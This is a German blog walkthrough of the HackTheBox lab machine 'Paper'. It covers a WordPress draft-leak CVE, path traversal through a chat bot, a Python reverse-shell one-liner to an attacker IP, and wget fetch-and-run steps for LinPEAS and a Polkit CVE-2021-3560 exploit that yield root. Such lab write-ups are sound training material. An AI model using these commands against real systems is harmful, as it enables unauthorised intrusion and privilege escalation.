DeutschdeDeutsch
AA

Walkthrough: HTBs Paper

18. Jun 2022,

Walkthrough: HTBs Paper

In diesem Walkthrough beschäftigen wir uns mit HTBs Paper. Diese Maschine ist als leicht eingestuft und spielt auf die Serie "The Office" an. Über eine Schwachstelle in WordPress, welche das Lesen von "Draft Posts" ermöglicht, finden wir eine "Rocket-Chat" Instanz. In diesem Chat treffen wir auf einen Bot, der Dateien lesen kann. Indem wir die Zugriffsmöglichkeit auf andere Verzeichnisse ausnutzen, lesen wir den Quellcode des Bots, entdecken eine Funktion, mithilfe derer wir in der Lage sind, Systembefehle auszuführen und eine Reverse-Shell zu erzeugen. Dort kommt dann ein 2021er CVE in PolKit ins Spiel, den wir ausnutzen.

Übersicht über die Box

Name

Paper

Veröffentlichungsdatum

05.02.2022

Renteneintrittsdatum

18.06.2022

Betriebssystem

Linux

Punkte

20

Schwierigkeitsgrad

Einfach

Schöpfer

HackTheBox Profilbild von secnigma

Bild First User BloodFirst User Blood

HackTheBox Profilbild von szymex73

Bild First Root BloodFirst Root Blood

HackTheBox Profilbild von Ziemni

Aufklärung

nmap

nmap findet drei offene TCP Ports:

  • SSH (22)
  • HTTP (80)
  • HTTPS (443)

Es scheint, als liefe unter dem HTTP- und dem HTTPS-Port dieselbe Seite:

l0rd@attack-box$ sudo nmap -p- --min-rate 10000 10.10.11.143 -Pn
	Nmap scan report for 10.10.11.143
	Host is up (0.071s latency).
	Not shown: 43669 filtered tcp ports (no-response), 21863 closed tcp ports (conn-refused)
	PORT    STATE SERVICE
	22/tcp  open  ssh
	80/tcp  open  http
	443/tcp open  https
	
	Nmap done: 1 IP address (1 host up) scanned in 54.23 seconds

l0rd@attack-box$ sudo nmap -p 22,80,443 -sCV 10.10.11.143 -Pn
	Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-09 10:47 CEST
	Nmap scan report for office.paper (10.10.11.143)
	Host is up (0.12s latency).
	
	PORT    STATE SERVICE  VERSION
	22/tcp  open  ssh      OpenSSH 8.0 (protocol 2.0)
	| ssh-hostkey: 
	|   2048 10:05:ea:50:56:a6:00:cb:1c:9c:93:df:5f:83:e0:64 (RSA)
	|   256 58:8c:82:1c:c6:63:2a:83:87:5c:2f:2b:4f:4d:c3:79 (ECDSA)
	|_  256 31:78:af:d1:3b:c4:2e:9d:60:4e:eb:5d:03:ec:a0:22 (ED25519)
	80/tcp  open  http     Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
	|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
	|_http-title: Blunder Tiffin Inc. – The best paper company in the elec...
	|_http-generator: WordPress 5.2.3
	443/tcp open  ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
	|_ssl-date: TLS randomness does not represent time
	| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US
	| Subject Alternative Name: DNS:localhost.localdomain
	| Not valid before: 2021-07-03T08:52:34
	|_Not valid after:  2022-07-08T10:32:34
	| tls-alpn: 
	|_  http/1.1
	|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
	|_http-title: HTTP Server Test Page powered by CentOS
	| http-methods: 
	|_  Potentially risky methods: TRACE
	|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
	
	Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
	Nmap done: 1 IP address (1 host up) scanned in 18.97 seconds

Webseite - TCP 80/443

Beide Ports zeigen lediglich eine Default-Installation:

Bild von Default Installation

Interessante Informationen

Interessanterweise ist beim Aufruf des Ports 80/HTTP ein Nicht-Standard-Header zu finden, welcher einen Domain-Namen preisgibt:

Nicht-Standard-Header auf Port 80

Da wir den gefundenen Domain-Namen office.paper nicht ohne Weiteres aufrufen können, fügen wir diesen unserer /etc/hosts Datei hinzu.

office.paper - TCP 80

Webseite

Nun rufen wir office.paper über den Browser auf und treffen auf die Webseite einer Papierfirma, Blunder Tiffin Inc.:

Website office.paper auf Port 80

Da Wappalyzer und der Footer der Webseite uns verraten, dass das dahinterstehende CMS WordPress ist, starten wir einen Scan der Seite mit WPScan. Um nach Schwachstellen zu suchen, muss man einen API-Token angeben, welchen man kostenlos bekommt, wenn man sich auf der Website von WPScan registriert.

Während der Scan läuft, schauen wir uns die Seite weiter an und finden einen Kommentar zu einem Beitrag, welcher einen wichtigen Hinweis enthält: Anscheinend hat der User namens Michael Drafts mit geheimem Inhalt erstellt, welche laut User Nick, vielleicht dem Sicherheitsbeauftragten, nicht sicher sind:

Interessanter Kommentar über geheimen Inhalt in Drafts

WPScan & WordPress exploit

l0rd@attack-box$ wpscan --url http://office.paper --api-token xxxx -o scan/wpscan-office.paper.txt
        [ SNIP ]
	| [!] Title: WordPress <= 5.2.3 - Unauthenticated View Private/Draft Posts
	|     Fixed in: 5.2.4
	|     References:
	|      - https://wpscan.com/vulnerability/3413b879-785f-4c9f-aa8a-5a4a1d5e0ba2
	|      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17671
	|      - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
	|      - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
	|      - https://github.com/WordPress/WordPress/commit/f82ed753cf00329a5e41f2cb6dc521085136f308
	|      - https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/
        [ SNIP ]

Wie bereits erwähnt, scheint es Entwürfe zu geben, welche geheimen Inhalt enthalten. Der Ausgabe von WPScan zufolge existiert eine Schwachstelle in dieser WordPress-Version, welche uns ermöglicht, eben diesen geheimen Inhalt auszugeben.

Eine schnelle Google-Suche verrät uns, dass es ausreicht, der URL ?static =1 hinzuzufügen, um den geheimen Inhalt einzusehen. Diese Schwachstelle ist gelistet als CVE-2019-17671.

Also machen wir genau das und finden einen Registrierungslink für einen Mitarbeiterchat:

Ausnutzung von CVE-2019-17671

Erlangen der User Shell

Zugriff auf die rocket.chat Instanz

Um chat.office.paper aufrufen zu können, müssen wir diese URL erst in die /etc/hosts Datei einfügen:

l0rd@attack-box$ echo -n "10.10.11.143\tchat.office.paper" | sudo tee -a /etc/hosts

Rufen wir nun http://chat.office.paper/register/8aozr... auf, treffen wir auf das Registrierungsformular einer Rocket.Chat Instanz. Aufgrund mangelnder Alternativen registrieren wir uns.

Rocket.Chat Registrationsformular

Ausnutzung von recyclops

Erforschen

Sehr schnell zu finden ist der #general Chat. In diesem Chat findet man nicht nur ein paar Witze, sondern auch Hinweise auf einen Bot namens recyclops:

#general Chat interessanter Post 1
#general Chat interessanter Post 2

Da wir recyclops Direktnachrichten schicken können, werden wir eben dies tun. Aber zuvor folgt noch eine kurze Übersicht über recyclops' Befehle:

  • recyclops help - Zeigt die Hilfe des Bots an
  • list <DIR> - Führt ls -la  <DIR> aus
  • file <FILE> - Führt cat <FILE> aus

Der Versuch, Kommandos zu injizieren, scheitert jedoch kläglich:

Versuch von Kommandoinjektion in recyclops

Der nächste Test gilt dem Versuch auf Verzeichnisse außerhalb des "Sales"-Ordners zuzugreifen. Wir versuchen durch die Eingabe von list ../../../ an das Root-Verzeichnis zu kommen. Dies funktioniert in der Tat. Somit ist bewiesen, dass die Limitierung des Zugriffes auf den "Sales"-Ordner nicht richtig umgesetzt wurde:

Erfolgreiche Verzeichnisüberquerung

Sourcecode des Bots lesen

Da wir nun die Möglichkeit haben, alle für uns zugänglichen Ordner zu listen, machen wir uns auf die Suche nach dem Sourcecode des Bots. Diesen finden wir unter ../hubot.

Dort treffen wir auf ein interessantes Verzeichnis: scripts.

Auflistung des Verzeichnisses ../hubot/scripts

In run.js finden wir den Befehl, mit dem wir Systembefehle über recyclops ausführen lassen können:

Inhalt von ../hubot/scripts/run.js

Nur um sicherzugehen, dass diese Funktion aktiviert ist, führen wir den Befehl whoami aus und stellen fest, dass wir in der Tat in der Lage sind, Systembefehle auszuführen!

Ausführen von whoami über recyclops

Nach dem Lesen dieses Writeups von 0xdf muss man hier hinzufügen, dass es außerdem möglich wäre, die ../hubot/.env Datei auszulesen, um die Zugangsdaten für einen SSH Zugang zu erhalten.

Reverse Shell

Nun ist es an der Zeit, uns eine Reverse Shell zu geben. Dazu starten wir unserem Terminal einen Listener mit nc: nc -nlvp 1337 und geben im Chat folgenden Befehl ein:

run python3 -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.x.x",1337));
subprocess.call(["/bin/bash","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'

Diese und weitere Payloads für Reverse Shells finden Sie im Reverse Shell Generator von Swissky.

Zeit, die User-Flagge (/home/dwight/user.txt) auszulesen!

Wenn wir in dieser Shell bleiben und uns keinen SSH Zugang verschaffen wollen, ist es sinnvoll, die Shell in eine "Fully interactive TTY" umzubauen, wenn wir nicht durch die Eingabe von Ctrl-C aus der Shell fliegen wollen ...

# In der Reverse Shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z # Stoppt den netcat Listener

# In der Shell unserer Attack-Box
stty raw -echo
fg

# In der Reverse Shell
reset

# Wenn es heißt:"unknown terminal type"
Terminal type? xterm-256color # Unsere Eingabe

#wenn $SHELL != /bin/bash
export SHELL=bash

Erlangen der Root Shell

Enumeration mit LinPEAS

LinPEAS von Carlos Polop ist ein Script, welches nach Schwachstellen, Fehlkonfigurationen und interessanten Dateien sucht.

Ich persönlich mag LinPEAS, weil es bekannte ausnutzbare Schwachstellen mit CVE ganz am Anfang auflistet. Allerdings gibt es immer so viel Output, dass sich das Speichern der Ausgabe in einer Datei wirklich lohnt.

Laden wir nun linpeas.sh von unserer Attack-Box auf die Opfermaschine herunter und führen das Script aus.

# In einer Shell unserer Attack-Box
l0rd@attack-box$ python3 -m http.server 4444

# Auf der Opfermaschine
dwight@opfer$ wget http://10.10.x.x:4444/linpeas.sh
dwight@opfer$ chmod +x linpeas.sh
dwight@opfer$ ./linpeas.sh | tee n1c3-70-kn0w.txt
        [ SNIP ]
        ╔══════════╣ CVEs Check
        Vulnerable to CVE-2021-3560
        [ SNIP ]

Nach den ersten paar Sekunden sehen wir schon einen Treffer. Die Opfermaschine ist verwundbar!

Ausnutzung von CVE-2021-3560

Eine kurze Google-Suche zeigt, dass der Schöpfer von Paper in seinem GitHub Repository ein"Proof of Concept" (PoC) für die Schwachstelle CVE-2021-3560 zur Verfügung stellt.

Ergebnis der Google Suche nach CVE-2021-3560

Ebenda ist auch eine gute Erklärung zu finden, wie der Exploit funktioniert und der PoC zu benutzen ist.

Unser nächster Schritt ist also das GitHub Repository zu klonen und das poc.sh Skript hochzuladen und auszuführen.

# In der Attack-Box
l0rd@attack-box$ git clone https://github.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation.git
l0rd@attack-box$ cd CVE-2021-3560-Polkit-Privilege-Esclation
l0rd@attack-box$ python3 -m http.server 4444

# Auf der Opfermaschine
dwight@opfer$ wget http://10.10.x.x:4444/poc.sh
dwight@opfer$ chmod +x poc.sh
dwight@opfer$ ./poc.sh -u=l0rd -p=test
        [ SNIP ]
        If the exploit ran successfully, then you can login using 'su - l0rd'
        and you can spawn a bash shell as root using 'sudo bash'

Da der Exploit zeitabhängig funktioniert, sind zwei Punkte zu beachten:

  • Wenn das Skript nicht auf Anhieb funktioniert, muss man es solange erneut ausführen, bis es funktioniert. Dies kann durchaus zehn und mehr Durchläufe brauchen.
  • Es ist wichtig, sofort nach dem erfolgreichen Ausnutzen der Schwachstelle die beiden Befehle su - l0rd und sudo bash auszuführen, da der vom Skript neu angelegte Benutzer nach relativ kurzer Zeit vom System entfernt wird.

Nun ist es an der Zeit, die Root-Flagge (/root/root.txt) auszulesen!

dwight@opfer$ su - l0rd
	Password for l0rd: test
l0rd@opfer[/home/dwight]$ sudo bash
root@opfer[/home/dwight]# whoami
	root
root@opfer[/home/dwight]# cat /root/root.txt
	1f6c****************************
# Noch kurz aufräumen:
root@opfer[/home/dwight]# rm - f linpeas.sh poc.sh n1c3-70-kn0w.txt